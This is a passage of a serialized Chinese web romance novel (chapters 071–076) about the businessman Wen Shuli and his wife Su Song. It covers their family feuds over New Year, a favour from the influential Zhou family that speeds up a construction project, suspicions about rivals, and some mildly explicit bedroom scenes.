可见面的时候,闫丽却没有主动问她,当时她就有疑惑了。闫丽说前阵子被盗号了,温戍礼也是前阵子知道的,有什么错综复杂的关系,在她脑海中慢慢捋直……
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肖直给苏颂发完消息之后就一直在等,但是等不到苏颂的回复,也没有见苏颂给上司打电话。
他们一直坐在车子,肖直开着车乱转,等着上司跟哪个人通电后,有个目的地。
但随着拨出去的电话挂了一个又一个,肖直感觉到车里的气氛越来越沉重,他透过后视镜看一眼,发现上司的脸色臭黑臭黑。
看来,没人能提供周三爷的准确信息。
上司的心情越不好,身为下属的他,更加不敢轻待。
071 笑面虎周三爷
就在肖直脑子快速运转,想着还有没有别的方法帮忙排忧的时候,他的手机响了。
是夏叙。
“你跟他很熟?”温戍礼一旦心情不好,看什么都不顺眼,说话也就带了刺。
肖直欲哭无泪,之前要挖人的时候,他可是叫他多联系的。肖直在上司的直视下,十分有压力的接起夏叙的电话,结果那边带来了天大的好消息。
“温总,夏叙说,有个周先生要见你。”
周三爷让人联系了苏氏,电话汇报到了夏叙那里,夏叙正愁找不到借口见温戍礼,想着试一试,便把这通来历不明,对方口气还很狂妄的电话转告给了肖直,没想到,温戍礼真见他了。
周三爷的人留话说:“我们先生姓周,告诉温先生,周先生要见他。”
“要”,带着命令的口气,可温戍礼确实来了。
夏叙想,这姓周的,到底什么来头?
。
藤园阁
夏叙已经等候多时,看到温戍礼,急急忙忙迎上去,将自己打听到的说给温戍礼听:“不让我进去,还说只有温总一个人能进去。温总,我觉得太不靠谱了,会不会不安全。这人连面都不露一个。”
温戍礼停下来,淡淡看他一眼,本来不想见他,是因为被陈曼曼波及,现在他也算将功补过。于是,温戍礼没为难他,只说:“没事。”
古色古香的建筑物,他抬脚跨进木制门槛,下一秒,门又关上。
夏叙要跟过去,被肖直拦住:“我们就在这里等温总。”
夏叙问:“这姓周的来头很大?”可却连温戍礼的电话都没有?夏叙想了一路都没想明白。
肖直看他,说:“做好我们分内事就行,温总自己会有判断。”
他虽然说的和气,但其中不缺警告的意思。夏叙是个聪明人,听出来了,对方大概不仅来头大,可能是连温家都忌惮的。
既然是超过他能力范围的,他一个经理人自然不会不自量力,但又想跟肖直套近乎,于是又找了话题说:“肖助理来之前有见过曼曼吗?我怎么给她发消息她没回我。”
夏叙说完,发现肖直看他的眼光很奇怪,但还没捕捉到什么,就听肖直说。
“夏总,办公时间别谈私事。”
夏叙:“……好。”这下,他连话都不敢说了。
屋里
温戍礼走进去,有一套木制桌椅,上面的熏香炉白烟袅袅,下面茶杯里还有半杯茶没喝,在冬日里漂浮着浅浅轻烟,表示喝茶的人才离开不久。茶具旁边还有一串檀木手串,人还在这里。
温戍礼环顾,没看到人。再走过去,有一条走廊,通过走廊,竟然是一片草地。
这别有洞天的设计,引起了温戍礼的注意。
“云城还有这样的地方。”
一道黑色身影立于竹子前,脊梁挺直,头与足形成一条直线,比竹还要直拔几分。
这军姿,没有经年累月的训练,不会有这样如影随形的刻骨。
男人穿着香云纱,仅仅站在那,就有一种处于上位者的威严感透出,似乎一切尽在他的掌控之中。
这让温戍礼严肃起来,他意识到,自己这些天,似乎都被这个周三爷玩弄在鼓掌。
他不见,他就见不到,他想见了,一个电话,他便赶来了。
第一次,主动权在别人手里。
“腾云阁起源上世纪,是苏家老太爷提议并设计的,不过后来苏家落魄,只做了一半,另外半边被建成了酒店。
所以外地人大多只知道云城酒店,不知道腾云阁。”
他转过身,剑眉星目,薄唇浅笑,却带着几分温和。
温戍礼跟不少人打过交道,对周扬平的第一印象就是:笑面虎。
“这里裹着苏家先祖的血泪,苏家人不愿意提及,你是苏家孙女婿,不知道很正常。”
知道苏家不愿意提及,还叫他来这个地方?温戍礼不是愣头青,他当即察觉到这位周三爷对他的不喜。
不过商人言商,他找他也是有目的的。
温戍礼道:“这样的地方,需要有雅致的人才懂得欣赏。”一句话既称赞了周扬平,也贬低了那些否定苏家老太爷设计,建成酒店的人。
“三爷,我还要回南城,就直说了。我找你,是为了养老机构的事情。这是南城近年来最大的规划,不管是工程还是资金,都只有盛泰能承包,但上面一直没批建,一拖再拖,我们的财力物力都在损耗,我想请你出面,加快这个流程。”
这些话,温戍礼尽量往含蓄的说,一方面,对方是官场人,另一方面,他是第一次跟周扬平打交道,还不知道其为人。
直述目的,也带着试探。
哪知道周扬平说:“我原本是不想帮你的。不过……算了,都是合规章制度的,也是早晚的事情。”
温戍礼一听,这是松口了?
周扬平又说:“我会问问看,不过不是我管辖的事情,他们会按照他们的流程。你耐心等着吧。切记,要够工够料,完全按照标准施工!”
……
肖直开着车,又要赶夜路,他却没有半分倦怠,只因后座的上司,一直愁眉不展。
他跟着上司这么久,从没见过他有这么凝重的表情。就算上次被老温总打了,上司隔天贴着纱布,依然是面不改色的工作。
肖直悄悄往后瞧,从上车就保持这个坐姿坐着。难道跟周三爷谈不拢吗?可不是还一起用餐了。一顿饭,从中午吃到傍晚,幸好有夏叙跟他一起等着。
不然他连上厕所的时间都没有。
车子平稳的前行着,很快就到了两城的交界点,温戍礼转头看着“南城欢迎你”几个大字,有几个灯坏了,一闪一闪的,正好闪在“南城”两个字上。
周扬平说,是有人希望他帮,他才见他的。
谁呢?
。
温戍礼到家的时候,苏颂正准备睡觉,差五分钟就十一点。
他说:“没超时间。”
苏颂不是在想他有没有守门禁,是她以为他今晚不会回来了,她洗完头发也没梳,睡衣的扣子还扣少两颗……
072 毒舌先生不饶人,谁跟你是一家人
她转身,急急忙忙的将领口两颗扣上,她在他面前,一向都是穿戴整齐,睡衣也都是挑直襟有扣子的居家服。
“哦,我以为你没那么快回来,正打算睡了。”
男人往着沙发一坐,摊开着手,仰着头闭眼,一副很疲倦的样子。
苏颂轻声问:“要喝茶还是醒酒汤?”她以为他是应酬喝酒了,才这么没精神。
殊不知温戍礼是赶着回来的,加上,这会也有些心累吧。
“过来。”他伸直脑袋,看她。
苏颂走过去,被他一把圈住腰肢,惊呼一声。
收拾完卫生的阿姨这次识趣的快速进房间了。
男人的力气很大,一个用力,苏颂就被他压在沙发上,他暗哑着声音说:“上次在这里体验不错,再来一次?”
舒缓压力的方式很多种,但做事最直接的。温戍礼清楚自己的身体,他对苏颂有感觉,所以一忙完回来,他大多数时候会有想法。
刚新婚头一年,他毫不遮掩,现在把孩子的误会解开了,他又开始直白自己的需求。
他低下头吻她。
苏颂却避开了:“你没喝酒,怎么会说这种话?”
温戍礼本来因为周扬平的事心情不好,见了面又被他的话搞得心事重重,被人牵着走的感受,令他很不爽,这会倒是笑了。
“我喝酒就说哪种话?”他顺势贴着她的耳边,低醇的嗓音灌入她的耳中。
苏颂觉得痒,扭着身体躲避,上面的扣子没扣好,摩擦着,又松开了,露出她满含馨香又白皙的胸口。
“你……我们还是回房间吧。”不是话的事情,是他对这种事循规蹈矩,都是在房间,上次是他喝酒了,加上那天莲嫂请假,家里没其他人,才在沙发。
现在他没醉,她也没喝,家里还有个阿姨。苏颂怎么都豁不出去。她推了推,没推动,只能劝道。
胸口传来一阵湿热,苏颂像是被触电一般,看着那乌黑的脑袋,觉得惊诧。
到底,没让苏颂见不得人,温戍礼将人抱回房间。他轻细的将她放下,这会,苏颂没有太拘谨了,任由着他索取。
在两人确定要孩子之后,毫无障碍让彼此更亲密更投入。
苏颂有些享受其中,就在她觉得要抵达的时候,依稀听到他说话。
“你跟我爸在书房谈什么?”
她去看他,被雾气缠绕的眼睛更是迷人,比平常还要红艳的唇瓣微微张着,还没说话,就被他带上云霄。
。
转眼就要过年,温家过年不热闹,家里是林美丽主事,温戍礼不喜欢回去,回去了也是摆着一张冷脸,温航之说过几次,他也没给好脸色,久而久之,过年过节就成了温家的闹心事。
苏颂问过温戍礼今年什么时候回去,被他冷冰冰一句“你很想去”,堵得不敢问了。可大年三十,连饭都不回去吃,真的好吗?
苏颂正想不到借口跟家里人解释,温航之的电话先进来了。
“爸。”这个号码出现的概率,这三年加起来也没有十个手指头的次数。苏颂正襟危坐的听着,以为是要来责骂她的,结果却听到温航之说。
“戍礼在干嘛?跟他说先把手头上的事情放一放,回家吃个饭。”
“再忙,年夜饭也要回来吃。”
这平常絮叨的语气,跟一位普通的父亲无异。苏颂说:“他没在忙。”就是纯粹不想回去。
但苏颂一直的宗旨是当好温太太,做一位贤妻,自然不会这样说。
调节好丈夫跟家里人的关系也是必修的,在温航之发布命令前,她先开口:“我去叫他。”
苏颂进去的时候,温戍礼正在书架前挑书,听到开门声,瞧过来。
苏颂笑得有些心虚,道:“爸不好意思打电话给你,打到我这里了。”
“挂了。”他冷道。
自从温航之打了他之后,温戍礼一直冷暴力他爸,来电就挂,公事都是下属通传,私事免打扰的状态。
而她公公也知道动手不对,这一个月也没闹什么火气。不过苏颂觉得,她公公的耐心应该差不多了,如果今晚他们不回去,肯定会爆发。
“我已经接听了。”于是苏颂继续浅笑,“我还答应爸,叫你一起回去吃年夜饭了。”
最后,两人出现在温家,但温航之跟林美丽三母子已经开始吃饭了。
温戍礼:“这就是你说的,我不来,他们连年夜饭都吃不好?”
苏颂尬笑,她也摸不清是什么情况,为什么没等他们就先开吃了。
温航之看到他们,明显心虚了一下,但很快又摆出一副一家之主的架子,说:“来了就过来吃饭,还得让人等。”
“大哥,我们以为你不来了,就先吃饭了。”温衡一脸笑,眼镜后面那双眼却写着挑衅。
到底还年轻,毕业后靠做风投获得些成绩的温衡,不加掩饰的骄傲自大。他很少回来,但每次回来都会直白的嘲讽温戍礼。
林美丽见丈夫不悦,随即打圆场,说:“我不是看菜都要凉了,你爸胃不好,吃不了凉菜。一家人不必讲究,快过来吃饭吧。”
把责任转移,一方面保全了儿子,免得被人说他不尊长,另一方面又能在温航之面前博取好感,毕竟身为继母的她有教育儿子们和气的义务。
这假惺惺的样子,让苏颂想起奶奶说的话,二婚的比原配还张扬。这几母子最会一唱一和,把温戍礼排挤在外。
苏颂朝身侧看去,温戍礼一脸冷色,她以为他要走,结果他走过去,坐了下去。苏颂跟着也坐下来。
他冷冰冰的嗓音说:“我跟你不是一家人。我让你管家,是给我爸几分面子。”他眼神扫过温衡,有些事好像不用说,更能羞辱人。
看着那两兄弟一个比一个难看的脸色,苏颂舒爽了。他的毒舌发作起来是无差别攻击的。
温戍礼属于那种平常不生气是贵公子,可一旦发脾气起来,谁也管不住那种,气压极强,目光极迫。
以前他都不理会,看来这几母子真惹恼他了。也是,年夜饭是团聚的,可他们却不等人齐就先吃,显然排挤他,还有她。苏颂都觉得生气。
073 继母吃瘪,小叔子被训,爽歪歪
温戍礼直视着林美丽,餐桌上的气氛很紧张,苏颂不敢说话,对面的温泰也没出声,只有自认为聪明的温衡还要开口:“大哥……”
“你闭嘴!”
好吧,也被压得死死的。
林美丽完全被下了面子,站在那里,五官都扭曲了,找温航之撑腰:“航之,你听到了,他不尊重我就算了,现在连你也没放在眼里,哪有儿子说给老子几分面子的!”
林美丽气急败坏,依然不忘挑拨这两父子的关系。
苏颂开始担心,怕温戍礼等会又会挨打,正想劝一劝,哪知道她公公温航之说:“没等你回来就开饭,是我们不对。”
林美丽:“???”
不止林美丽震惊,苏颂也是一脸错愕,不忘看林美丽吃瘪的样子,有点爽~
温戍礼转头批评儿子:“但你也不能一回来就摆脸色。知道这里是家,就要有家人的样子。”
这话显然避重就轻,还有点让他要把两个弟弟当家人。略过林美丽的意思。
一顿饭,林美丽都在强忍着,吃完就回房了,苏颂看到她眼睛好像红红的。
林美丽一走,温泰也跟着进去,母亲跟哥哥都走了,一向少回家的温衡也待不住,走开了,苏颂暗喜,年夜饭之战,完胜!
饭桌上就剩下温航之,温戍礼跟苏颂。
苏颂不想介入这两父子之间的战争,正要走人,却听到温航之问。
“你让人把陈曼曼打了?”
苏颂悄悄竖起耳朵,陈曼曼被打了是真的,但她一直不太相信是温戍礼干的。毕竟,圈子里的公子哥们都说,陈曼曼是他的白月光。
“你真的老了,消息这么慢。”温戍礼依然一副气死人不偿命的样子。把温航之气得瞪眼。
“你就算要断了她的念想,也不应该出手这么狠,两家应该留和气。”
什么,真的是温戍礼让人打的?为什么?苏颂现在满心好奇,双脚走不动了,聚精会神的听着。
“我还不用管她怎么想,她敢做触碰我原则的事情,就要承受带来的惩罚。
陈家要是敢来为她出头,我连陈家也动。”
温戍礼拿起餐巾擦了擦嘴,起身,一只手放在苏颂面前。她连忙搭上去,跟着起身。他带着她离桌。
身后是温航之的警告:“你这么狂,迟早摔跟头。”
温戍礼不理会,牵着苏颂的手离开。上了车,苏颂问:“你为什么让人打陈曼曼?”
温戍礼慢条斯理的解开外套的扣子,将外套脱下来,衬衫遮不住他紧实的肌肉线条。外套披着她的肩膀上,她的裙子不太厚,室内还好,但今晚温家把年夜饭设在庭院的玻璃房,有点冷。
没想到他竟然发现了。苏颂心里淌过一阵暖流。
“我以为你会问我,为什么我爸会怕我。结果……”他轻笑了一下,“女人吃醋就这样吗?心里只关注情敌的情况。”智商都倾向情商,抓不住重点了。不过,他的小妻子一向也智商不高。
苏颂却不认为自己是在吃醋,“爸不是怕你,他只是打了你,现在还心存愧疚,不跟你计较而已。但是我觉得你对爸的态度好一点,爸就不会偏向二叔跟小叔了。”
温戍礼刚要说,温家都是他的,他不必看人脸色,苏颂又说。
“你这样做,会影响名声。”男人欺负女人,不管在哪个时候,都是会被骂的。并且闫丽说陈曼曼这次伤得很重,可能以后都做不了瓷绘了。虽然她不喜欢陈曼曼,但这后果对一个手艺人来说太狠了。
等她发表完,温戍礼侧头看她,开口就是:“有没有人说过你傻?”
苏颂以为他又要开始阴阳怪气,都做好充耳不闻的准备,当他放屁自己就不会被影响心情了。结果他说。
“照片是陈曼曼拍的。”
“啊?”表情没来得及收回,变成她有些嫌恶又吃惊的样子。
“不仅傻还丑了。”温戍礼低头开始看文件,他年底开启了新项目,最近很忙。苏颂想问清楚,都不敢问了。
照片的事情不是林美丽做的,而是陈曼曼?
那她该打。人就是这样,刀子总是要割在自己身上,才知道疼。苏颂那点同情心都没有了。
她的注意力放到身边人上,看着认真看规划图的男人,他很努力才坐上这个位置,苏颂也清楚,他的能力很好,如果能不加限制,肯定能做得更棒。
临走前公公的那句警告,让苏颂很在意。从不对长子动手的公公动手了,年夜饭也先开饭了,这些破例对温戍礼都很不利。
苏颂想,她不能眼睁睁看着温戍礼被那一家子排挤在外,得帮帮他才行。
。
新年一到,旁支宗亲络绎不绝的上门来拜年。今年温戍礼没有在房间躲清净,在客厅招待这些亲戚。他一出现,主人的气场尽显,甚至都没人问起林美丽。
苏颂拿着礼物,经过楼梯的时候,看到林美丽阴沉的脸色,她也知道温戍礼是故意的,他这样做,只是要证明年夜饭说的那句话,让林美丽知道,这个家是他的家,之前只是他让她管而已。
苏颂不想触霉头,转身要走的时候,撞上了人。礼物掉了,那女人给苏颂捡起来。
“今年新春的限量版包包,当温太太真有福气,别人连抢都没资格,你在家就有人送上来了。”女人打扮洋气,妆容精致又漂亮,气质很好,只是说话的语气有点让人讨厌。
苏颂拿过来,说:“这是我的。”是她要送人的,哪里人家送的。
这是年底温戍礼送她的,男人大概是这样,不是珠宝就是包包,反正这三年苏颂收到挺多的,她几乎没用,他也照常送,就很机械,苏颂以为他是图省心,没想到这个还是限量版。
她太久没冲奢侈品了,真是out了。不过既然拿来了,还是送吧。
“你要送谁啊?”没想到那个女人还跟上来,眼睛都要黏在包包上面了。
苏颂没回答,反问她:“你是谁?”刚才没有在客厅见过她。
074 你也别把我想得太坏
女人说:“我是白雯。”
苏颂打量她,说出自己的第一想法:“你的名字跟你的人不搭。”
白雯大笑起来:“哈哈,很多人这样说,不过都是跟我熟悉之后才说的,你是第一个第一次见到我就敢这么说的。”
“敢”?苏颂捕捉到什么,又问:“你是哪个旁系的?”温家现在是南城的首富,那些亲戚大多攀附,怎么会有不敢的。
白雯仰着下巴,几分高傲的说:“我不是温家的亲戚,我是跟着他们来的,故意来找你的。”
听得苏颂更加云里雾里了。
白雯性子爽朗,没有卖关子,说:“我看到你跟周正焕在一起了。”
温戍礼接待了十几茬人了,个个都是马屁精,专挑漂亮话说,阿谀到他要反胃。好不容易才找到由头离开会,结果就听到这句话。
温戍礼站定,身旁的顾辽舟可没他那么稳,瞪着眼睛,惊恐的说:“他们还余情未了,敢在你眼皮底下乱搞?”
屏风后面的白雯接着说:“你让他叫他小叔帮你老公的忙。周家人个个硬骨头,也从不卖人情,可是你一句话,就让周家两个男人帮了,所以我要来看看,你到底是什么样的人。”
白雯评价说:“也就一般般啊,我觉得没我漂亮呢,他怎么就愿意对你好,都不看我一眼呢。”
苏颂冷汗,原来是周正焕的桃花。
而一屏之隔的两个男人,都不淡定。温戍礼站在那里,虽然神态不多变化,但显然眼睛睁了一下,明显也是震惊。放在裤袋里的手,紧了。
惊成“O”型嘴的顾辽舟,好半晌才找到声音说:“靠,不仅余情未了,还旧爱难却。”周家人的人情啊,多大的情呢!
这话得了温戍礼一个犀利的目光:“大过年的,没刷牙就别说话,嘴巴那么臭!”
他说完,往外走去,顾辽舟讪讪的跟上,做了一个闭嘴的动作。
“我跟他只是朋友,你不用误会。至于我拜托他的事,他也是觉得不难办才答应的。”当时周正焕没有犹豫就给他小叔打了电话,也没说几句,他小叔就答应了,所以苏颂觉得事情应该是在他们的能力范围内,并且不难办才答应这么爽快的,这事是她欠了周正焕跟周家小叔人情没错,但她觉得白雯说得有些太夸张,搞得是她特殊他们才答应一样。
“这件事你别告诉戍礼。”他不喜欢她跟周正焕走近,苏颂不想增添误会。
“不难办?那么大一个项目,居然被你说不难办?”
苏颂疑惑的看着她,是很难办的大事情吗?
。
温戍礼直接上楼,听见顾辽舟在后面要跟上,头也没回的说:“年拜好了,可以走了。”
被下了逐客令的顾辽舟:“……”
“草,大过年的,你要这样是吧!真是每次说到苏颂你就张牙舞爪。行行行,你老婆不能说,了不起,能说动周家人,更了不起了。”顾辽舟一边说,一边走了,他是懂怎么插刀的。
站在书房前的温戍礼定了会,他又怎么不知道,能说动周家人是多不可思议的事情呢。
这些天,虽然项目顺利进行了,但他一直想不通,明明一开始躲着他的周扬平为什么忽然主动见了他,原来,是苏颂在其中起了作用。
她不仅认识周家大少爷周正焕,他们是年少的好友,甚至还认识到周家三爷,并且关系都匪浅。周家人的血性,是不会因为至亲就开后门的,那位在政界多年,一向以廉正清明闻名的周三爷更不会,但是苏颂能让他开尊口。
如周扬平所说,项目都是合规合理,不过是多问一句话的事情,可高层的一句话,足以让事情的效率提高很多。这是很大的人情。
能请得动周家人,他的小妻子确实了不起。可是谁让苏颂去请周家人的?温戍礼看着面前这扇门,抬手敲了敲。
“进。”
。
过年,清吧的生意很好,周正焕坐在办公室里,能清楚的看到外面火爆的场景,笑道:“丽姐,你真是个经商天才,做什么生意都红火。”
周正焕认识闫丽要更早,也知道闫丽在云城的时候,不止开过夜店,只是她一个女人,精力有限,生意一火,时常会招惹同行嫉妒找事,被李斯俊劝说后,闫丽把其他生意都转让了。
闫丽泡茶,工夫茶的工艺繁琐,可她做得行云流水,一个置茶就能玩出花样。周正焕见她修长的手灵活的摆弄茶具,露出欣赏的表情说:“这是马龙入宫。”
“好茶艺。”
再经过洗茶就能冲茶了,闫丽将茶水以均匀的流速冲出,说:“现在‘茶艺’这个词可不是什么好词。”
此名词非彼名词。
周正焕笑:“别人或者觉得是贬义词,但丽姐绝对不会。”他侧靠着,说这个话的时候没个正形,偏偏他长得好看,反而更添魅力。
闫丽抬眼蹭她:“你比我还茶。”她分了一杯在他面前,说,“明知道温戍礼那个人疑心重,还答应颂颂帮她,温戍礼做这个项目得膈应死。”
温戍礼连她跟苏颂走近都能吃醋,更别说还是闹过绯闻,上过热搜的异性。
大概,周正焕在他心里,已经被划分为死敌了。
闻言,周正焕笑得更欢,他不以为意的说:“是颂颂找我,我才帮的,而且我小叔也答应帮,他温家人得感恩戴德才对。不过他要是膈应我也没办法,谁叫他娶了我们颂颂妹妹,还不懂怜香惜玉呢。”
闫丽喝茶,她在阴暗堆里成长,不算好人不奇怪,但周正焕这样长在阳光下的,心里有时候也很扭曲,他爱捉弄人,把人性心理这块又玩弄得明明白白。
他摆明了是不喜欢温戍礼,要给他添堵。
“你也别把我想得太坏。”周正焕俯身端茶,看穿闫丽的心思,邪笑说,“我也是为颂颂好,温航之那个老狐狸是会洞察的,知道他儿子请不动我小叔,就让颂颂来我这试。”喝了一口茶,他垂着眼眸,掩饰住眼中的阴暗,吹了吹水面。
“我如果不帮,那老东西还不知道要怎么为难颂颂。”
闫丽说:“温戍礼能废了陈曼曼的手,还算他是个男人。”如果他任由别人诋毁造谣苏颂,他们绝对不会袖手旁观。
周正焕喝完,将茶杯放回去,笑说:“谁让颂颂对他有了真感情呢!斯俊那一千万打水漂了。”
李斯俊以个人名义给苏氏注资了一千万,这事他们都知道。
闫丽没有站在表弟这边,翻了个白眼说:“打水漂也是他活该。谁叫他当年不主动,还口是心非的说不喜欢颂颂,跟颂颂没可能。”
当初多斩钉截铁,现在就多痛彻心扉。受着吧!
075 老婆的关心,让温大少笑咧嘴
晚上,温戍礼跟苏颂坐车回他们的住所,苏颂想到温航之有意让他们在温家留宿,却被温戍礼拒绝的样子,心有余悸。想了想,她说。
“其实,大过年的,在家住一晚也没什么。”他现在要刷存在感,还要在公公面前刷存在感才对,而且他一直跟公公作对,还容易被林美丽三母子钻空子。
苏颂觉得自己要愁坏了,温戍礼太认死理了。
温戍礼没有一点担心,垂眸瞧她:“你喜欢住温家?”
“既然不喜欢,为什么得勉强自己?”
“过年就得团聚,那你怎么没想过回云城找奶奶?”
他一句接一句,他向来我行我素惯了,可苏颂没有他这份率性,她说:“奶奶不让我过年回去,说女孩子出嫁了,过年就得在夫家过,说几百年的习俗都是这样的。”
她奶奶还让她要多在婆家人面前表现,除了孝顺,还得持家,甚至还搬出了三从四德。
这些话,苏颂自己都觉得迂腐,没说。
没想到她还真的想过回去过年,是苏凤不让。自己只是随便举例,却引起她的思念,温戍礼从后拿出个东西,分散她的注意力。
苏颂看着那个包包很惊讶:“这个怎么在你这里?”她今天送人了啊!
“太贵重,她不敢拿。”细节温戍礼没说,他问,“为什么送人,不喜欢?”
之前肖直都是准备珠宝送给她,但是平常温戍礼从没见她戴过,大过年的,总不能又送水晶,他觉得太寒碜,于是让肖直去秘书办问那些女秘书,多半表示,包包是日常必搭单品,使用率很大。
这是他提前一个月就让人预订的了,她是拿来用了,送人用!
“你跟温禾很熟?”
温禾是他堂伯的孙女,原本到了温禾的父亲这一辈,两家人的关系就疏淡了,但温禾是个聪明又有野心的人,这几年,凭本事,又活跃在温家。
聪明是挺聪明,就是摆弄错人了。
他摩挲着包包的包装袋,温禾拿着包包出现在他面前的时候,是来感谢他的,千谢万谢,还让他有空带着苏颂去她那喝茶坐坐。包送苏颂送他的,不谢苏颂反而谢他?摆明了在借机跟他套近乎。
他不喜欢苏颂的心意被人利用,所以他将包包拿回来了。
不是温禾不敢拿,是他不想送。但这个没必要跟苏颂说。
苏颂没想到送出去的东西还会还回来,拿着包包有些苦恼的说:“不熟,今天才第二次见面。”第一次是上次为温戍礼任职举办的宴会上。
“我不是听说她跟江家的独子定亲了嘛,那可是大院子弟,我就想跟她打好关系,以后有需要也可以找他们帮忙。”温禾一家是没什么大作用,但江家有啊!
士者家族永远高于经商之家,这是亘古不变的。多走近,错不了。
“你是在为我谋划?”
苏颂点头,说出自己的担忧:“爸对你总是忽冷忽热的,有阿姨吹枕边风,他只会越来越疏离你。”
“我说了,我不用看他们的脸色。”话虽如此,但他的语气跟表情明显缓和许多。原来她没有浪费他的心意,反而是想帮他。
苏颂一听,将包包放在一边,有争辩的架势:“你总是这样说,那是谁被打了?又是谁大过年的吃剩菜的。”
见她有些像小兔子一般的急了,温戍礼的嘴角却溢出笑意:“你在担心我?”
“那不得担心。万一哪天爸想换人当总裁,也得有人能帮到你。爸可不止你一个儿子。”自古皇位有人争,苏颂很操心。
她在他面前一直都是温温和和,不争不抢,岁月静好的样子,难得见她这样急躁。温戍礼觉得有趣,也没说那个位置,他们抢不了,反而顺着她的话说。
“倒也是,那你多费心。”
“不过身为长辈出手不用这么阔绰,她受不起。”说这个话,温戍礼是带着鄙夷的,让他温戍礼排队等着要的东西,不是谁都受得起的。
见苏颂认真的点头,像小学生听话的样子,他又觉得她傻得可爱。
算了,她也是为他盘算,再说温禾就是有心机一点,到底还是知根知底的自家人,总比苏颂去跟闫丽那个不知底细的女人在一起好。
她想结识人,就结识吧。
一进家门,他就牵住她的手,苏颂被他抵在玄关处。
另一只手下意识的挡住他,两人靠得很近,门里门外,气氛就从客气陡升为暧昧。自从两人商量要孩子后,他最近很不节制,苏颂好像才认识到他另一面。
她知道他要干什么,也没反对,只说:“去房间。”
男人的鼻尖触碰着她的鼻尖,凉凉的,让她想躲,可后腰又被他紧紧的桎梏住,让她逃不掉。
温热的呼吸缠绕,让鼻尖变得温凉,他轻轻的蹭了蹭。没有吻她,但已经让她软了半边身子。
他其实,很会。
“阿姨不在,今晚,我想在这里。”
苏颂从没想过阿姨放年假,最怕的不是做饭,不是搞卫生,而是没有节制的男人!
……
被拖了半年的项目忽然启动,一上来就是赶工期,这个年,温戍礼连假都没休息,时间都花费在工地上。
他站在小山丘,观看着下面挖机的施工。顾辽舟走上前,说:“这个工程真大,一年真的能完成?”政府已经对这个项目进行新闻发布了,工程是个好工程,就是时间太赶。
温戍礼看着一处,不易察觉的蹙了一下眉,没多说,反问:“你来找我,是瓜子配酒不好,要无聊话配西北风?”
年底的冬天没大降温,全赶在这个正月了,这会他们站得高,寒风呼哧呼哧的吹。吹得两人的衣角飘飘,加上温戍礼的冷笑话,就更冷了。
顾辽舟抖了抖腿,西裤真不抗冻啊!
“你真是见到我越来越不耐烦了,算了,直接跟你说正事。
来找你,是想跟你说,你的猜测是错误的,闫丽不是哪个贵人的金丝雀。”趁着过年,那些平常不易见到的那些人都回来,他用了更深的关系,都查了。
上次他就把南城的富商查了,没有查出闫丽跟那些人有关系。可温戍礼坚信,闫丽肯定是被这边哪个富贵人包养,不是富人那就只有贵人了。
顾家的关系用到那些人身上有些危险,但凡事没有不透风的,只是需要多点时间查而已。
顾辽舟有些赌赢的胜利姿态,难得这个好友有推测错误的时候,得意的说:“戍礼,你错算了。”他当时就说不可能,他笑得有些欠扁。
相对比顾辽舟的洋洋得意,温戍礼只是拿出手机,开锁,点击,递到他面前。
“什么?”
“我的人刚发来的。”
顾辽舟接过去看,看清照片上的人,惊得下巴都要掉了。
076 你可真不了解你这个丈夫
“包养闫丽的是周大少?”
照片角度有些偏僻,但能看清楚照片上的人。顾辽舟非常震惊,非常不可置信的语气问:“所以他有关系的人不是嫂子,是闫丽?”
“顾家,不太行了。”温戍礼是懂怎么打压人的,刚才顾辽舟笑得多夸张,这会就有多焉巴。
不过就算有照片在这里,顾辽舟还是推翻自己的说法:“不可能,这可是周家人!”他向谁伸手,查谁都不敢查的周家人,怎么可能跟闫丽这种风尘女人有染呢?
这个周大少,可是周家重点培养的第三代。
“你会不会搞错了?”
温戍礼靠在山丘上的大石头上,点了一根烟,吹出的白烟很快就被风吹散,他神色淡淡的,说:“我一直让人跟着闫丽,周正焕在里面呆了一个小时。”
里面观察不到,但孤男寡女的,一个小时可以干很多事了,顾辽舟的想法有些动摇了,可还是不愿意相信闫丽那种女人能入周家人的眼。
“可那是周家人!”
周老爷子铁骨铮铮,当年功成之后,选择了隐退,给一方水土带来空前的繁荣,又低调的教导儿子,把三个儿子都教成国之栋梁,个个身居要位,把大家小家都照顾得很好,是个德高望重的人。
而周家儿郎也遗传到了老爷子的铁骨铮铮,重情重义,周家大爷跟二爷都跟原配相亲相爱,传为佳话,而周三爷丧偶多年未娶,更是被豪门圈的少妇夸深情难得。
这样的家风,按理来说,周正焕的品行应该也是没问题的才对。
温戍礼没否认,但也没赞同,说:“自古英雄难过美人关,我再让人观察。”
顾辽舟:“那个女人再美,也三十出头了,周正焕再色迷心窍,也不会至于喜欢老女人吧?要是这样,我更认同他喜欢苏颂,你老婆长得也不差,还年轻。”
“找死?”
眼看温戍礼动怒,顾辽舟连忙举手投降,脚还跟着往后退,说:“我还是来感谢你的,这个过年,我堂哥见到我不敢狂了,真他爽。”
说完,顾辽舟拔腿就跑,边往下跑边说:“你在我面前急也没用,有本事去你老婆面前急啊,哈哈!”他真是不嘴欠就难受。
留下温戍礼一个人在石头边吞云吐雾,独自呢喃:“我怎么没急呢,都急得想要用孩子套紧她了。”
两年前的温戍礼,误以为是苏颂不想给他生孩子,郁郁寡欢了一阵子,但有一次,去给苏氏谈单子的时候,客户带了他女儿过来。
小姑娘穿着粉色泡泡裙,四五岁的年纪,非常好看,大概是他那阵子都在思念那个没缘分的孩子,所以难得对别人的孩子感兴趣,一起吃饭的时候,他破天荒地给人夹菜。
从小到大,他都是被伺候的,可是那小女孩竟然还嫌弃,直接把碗倒在转盘上,正好扣在一碗汤里,汤汁溅了他一身。
“我不吃别人夹的,你算什么东西!”
吓得对方连连道歉,自动抬高了两个点作为赔礼。
童言无忌。看得出来小女孩也是被家里人宠坏了,他没计较,但是经过这件事,他没了想要孩子的心思了,他还不想伺候个小祖宗。
女孩子都这样,万一生个男孩子,更闹腾呢。算了算了,当时温戍礼就歇了要孩子的心思。
后来,借着他爸的电话,有理由,他就回来了,跟苏颂过了两年,看似和顺,实际上别扭的生活。
温戍礼抽一口烟,抬头看着天上,希望上天能给他一个懂事温顺的孩子,像苏颂一样。
。
苏颂从洗手间出来,整个人像卸了力气一样。
苏颂没想到自己新年第一次出来,会在闫丽这里出这样的糗,她本来是听说周正焕在这里,想来谢谢他的,结果她来的时候,他已经走了。结果她刚坐下,就感到下面一股热流来势汹汹,把她的裤子都脏了,只好换上闫丽的裙子。
等在外面的闫丽见她这样,问:“很疼?”
她哭丧着脸说:“没有,一般都是第二天最疼,刚开始还好。就是,我备孕失败了。”
与温戍礼备孕的第一个月,失败了。
